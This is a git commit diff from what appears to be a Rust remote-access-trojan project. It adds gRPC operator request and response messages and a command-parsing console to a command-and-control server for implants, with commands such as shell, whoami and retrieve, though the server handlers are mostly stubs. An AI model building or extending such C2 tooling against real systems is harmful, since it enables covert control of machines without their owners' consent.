mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
i think this is as far as i can go without the state of a db
This commit is contained in:
@@ -11,23 +11,24 @@ service RecordCommandResult {
|
||||
}
|
||||
|
||||
service ScheduleCommand {
|
||||
rpc Send (CommandRequest) returns (Empty);
|
||||
rpc Send (OperatorRequest) returns (OperatorResponse);
|
||||
}
|
||||
|
||||
// Enum variants have to be globally unique apparently, so prepending an "Op" in front of these ones
|
||||
enum OperatorCommand {
|
||||
OpCadence = 0;
|
||||
OpDir = 1;
|
||||
OpImplants = 2;
|
||||
OpHelp = 3;
|
||||
OpHostname = 4;
|
||||
OpIp = 5;
|
||||
OpLs = 6;
|
||||
OpOs = 7;
|
||||
OpQuit = 8;
|
||||
OpRetrieve = 9;
|
||||
OpShell = 10;
|
||||
OpWhoami = 11;
|
||||
OpHostname = 2;
|
||||
OpIp = 3;
|
||||
OpLs = 4;
|
||||
OpOs = 5;
|
||||
OpNone = 6;
|
||||
OpQuit = 7;
|
||||
OpShell = 8;
|
||||
OpWhoami = 9;
|
||||
OpImplants = 10;
|
||||
OpHelp = 11;
|
||||
OpRetrieve = 12;
|
||||
}
|
||||
|
||||
enum RATCommand {
|
||||
@@ -60,4 +61,13 @@ message CommandResponse {
|
||||
string result = 5;
|
||||
}
|
||||
|
||||
message OperatorRequest {
|
||||
OperatorCommand command = 1;
|
||||
string arguments = 2;
|
||||
}
|
||||
|
||||
message OperatorResponse {
|
||||
string data = 1;
|
||||
}
|
||||
|
||||
message Empty {}
|
||||
@@ -1,4 +1,4 @@
|
||||
use crate::rat::RatCommand;
|
||||
use crate::rat::{OperatorCommand, RatCommand};
|
||||
|
||||
pub mod rat {
|
||||
tonic::include_proto!("rat");
|
||||
@@ -53,3 +53,62 @@ impl From<RatCommand> for RsRatCommand {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Hacky copy of different protobuf in rat.rs
|
||||
pub enum RsOperatorCommand {
|
||||
OpCadence = 0,
|
||||
OpDir = 1,
|
||||
OpHostname = 2,
|
||||
OpIp = 3,
|
||||
OpLs = 4,
|
||||
OpNone = 5,
|
||||
OpOs = 6,
|
||||
OpQuit = 7,
|
||||
OpShell = 8,
|
||||
OpWhoami = 9,
|
||||
OpImplants = 10,
|
||||
OpHelp = 11,
|
||||
OpRetrieve = 12,
|
||||
}
|
||||
|
||||
// Way to convert a string slice to the second hacky protobuf copy
|
||||
impl Into<OperatorCommand > for RsOperatorCommand {
|
||||
fn into(self) -> OperatorCommand {
|
||||
match self {
|
||||
RsOperatorCommand::OpCadence => OperatorCommand::OpCadence,
|
||||
RsOperatorCommand::OpDir => OperatorCommand::OpDir,
|
||||
RsOperatorCommand::OpHostname => OperatorCommand::OpHostname,
|
||||
RsOperatorCommand::OpIp => OperatorCommand::OpIp,
|
||||
RsOperatorCommand::OpLs => OperatorCommand::OpLs,
|
||||
RsOperatorCommand::OpOs => OperatorCommand::OpOs,
|
||||
RsOperatorCommand::OpQuit => OperatorCommand::OpQuit,
|
||||
RsOperatorCommand::OpShell => OperatorCommand::OpShell,
|
||||
RsOperatorCommand::OpWhoami => OperatorCommand::OpWhoami,
|
||||
RsOperatorCommand::OpImplants => OperatorCommand::OpImplants,
|
||||
RsOperatorCommand::OpHelp => OperatorCommand::OpHelp,
|
||||
RsOperatorCommand::OpRetrieve => OperatorCommand::OpRetrieve,
|
||||
RsOperatorCommand::OpNone => OperatorCommand::OpNone,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Way to convert a second hacky protobuf copy to the actual protobuf
|
||||
impl From<&str > for RsOperatorCommand {
|
||||
fn from(in_slice: &str) -> Self {
|
||||
match in_slice {
|
||||
"cadence" => RsOperatorCommand::OpCadence,
|
||||
"dir" => RsOperatorCommand::OpDir,
|
||||
"hostname" => RsOperatorCommand::OpHostname,
|
||||
"ip" => RsOperatorCommand::OpIp,
|
||||
"ls" => RsOperatorCommand::OpLs,
|
||||
"os" => RsOperatorCommand::OpOs,
|
||||
"quit" => RsOperatorCommand::OpQuit,
|
||||
"shell" => RsOperatorCommand::OpShell,
|
||||
"whoami" => RsOperatorCommand::OpWhoami,
|
||||
"implants" => RsOperatorCommand::OpImplants,
|
||||
"help" => RsOperatorCommand::OpHelp,
|
||||
"retrieve" => RsOperatorCommand::OpRetrieve,
|
||||
_ => RsOperatorCommand::OpNone,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
use remote_access_trojan::rat::CommandRequest;
|
||||
use remote_access_trojan::RsOperatorCommand;
|
||||
use remote_access_trojan::rat::{OperatorCommand, OperatorRequest};
|
||||
use remote_access_trojan::rat::schedule_command_client::ScheduleCommandClient;
|
||||
use std::io::{stdin, stdout, Write};
|
||||
use tonic::transport::Endpoint;
|
||||
@@ -20,19 +21,46 @@ async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
.connect()
|
||||
.await?;
|
||||
// Prepare a client for beaconing
|
||||
let mut ask_client = ScheduleCommandClient::new(channel.clone());
|
||||
let mut schedule_client = ScheduleCommandClient::new(channel.clone());
|
||||
loop {
|
||||
print!("Command > ");
|
||||
stdout().flush().unwrap();
|
||||
let mut line = String::new();
|
||||
let input = stdin().read_line(&mut line).unwrap();
|
||||
println!("You said {line}");
|
||||
let result = tonic::Request::new(
|
||||
CommandRequest {
|
||||
command: input as i32,
|
||||
arguments: "".to_string()
|
||||
stdin().read_line(&mut line).unwrap();
|
||||
let split_line: Vec<&str> = line.split(" ").collect();
|
||||
let (command, arguments) = match split_line.len() {
|
||||
0 => continue,
|
||||
1 => (RsOperatorCommand::from(split_line[0].trim()).into(), "".to_string()),
|
||||
_ => (RsOperatorCommand::from(split_line[0].trim()).into(), split_line[1].trim().to_string()),
|
||||
};
|
||||
match command {
|
||||
OperatorCommand::OpNone => continue,
|
||||
OperatorCommand::OpQuit => break,
|
||||
OperatorCommand::OpHelp => {
|
||||
println!("Valid commands:");
|
||||
println!("\tcadence <number in seconds>");
|
||||
println!("\tdir");
|
||||
println!("\thostname");
|
||||
println!("\thelp");
|
||||
println!("\timplants");
|
||||
println!("\tip");
|
||||
println!("\tls");
|
||||
println!("\tos");
|
||||
println!("\tquit");
|
||||
println!("\tretrieve <implant id>");
|
||||
println!("\tshell");
|
||||
println!("\twhoami");
|
||||
continue
|
||||
},
|
||||
_ => ()
|
||||
}
|
||||
let request= tonic::Request::new(
|
||||
OperatorRequest {
|
||||
command: OperatorCommand::try_into(command).unwrap(),
|
||||
arguments: arguments
|
||||
},
|
||||
);
|
||||
let _response = schedule_client.send(request).await?.into_inner();
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use remote_access_trojan::rat::{OperatorCommand, RatCommand};
|
||||
use remote_access_trojan::rat::{OperatorCommand, OperatorRequest, OperatorResponse, RatCommand};
|
||||
use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer};
|
||||
use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer};
|
||||
use remote_access_trojan::rat::schedule_command_server::{ScheduleCommand, ScheduleCommandServer};
|
||||
@@ -99,13 +99,15 @@ pub struct MyScheduleCommand {}
|
||||
|
||||
#[tonic::async_trait]
|
||||
impl ScheduleCommand for MyScheduleCommand {
|
||||
async fn send(&self, request: Request<CommandRequest>) -> Result<Response<Empty>, Status> {
|
||||
async fn send(&self, request: Request<OperatorRequest>) -> Result<Response<OperatorResponse>, Status> {
|
||||
// Get the request from the operator and figure out what to do with it
|
||||
let command = OperatorCommand::from_i32(request.into_inner().command).unwrap();
|
||||
let inner = request.into_inner();
|
||||
let command = OperatorCommand::from_i32(inner.command).unwrap();
|
||||
let arguments = inner.arguments;
|
||||
// Run the applicable command
|
||||
let _command_result = match command {
|
||||
OperatorCommand::OpCadence => {
|
||||
// Passthrough
|
||||
println!("got a cadence {arguments}!")
|
||||
},
|
||||
OperatorCommand::OpDir => {
|
||||
// Passthrough
|
||||
@@ -140,10 +142,15 @@ impl ScheduleCommand for MyScheduleCommand {
|
||||
OperatorCommand::OpWhoami => {
|
||||
// Passthrough
|
||||
}
|
||||
_ => {
|
||||
// I think this isn't possible?
|
||||
}
|
||||
};
|
||||
// Respond to the implant basically say 'done'
|
||||
Ok(Response::new(
|
||||
Empty {}
|
||||
OperatorResponse {
|
||||
data: "yup".to_string()
|
||||
}
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user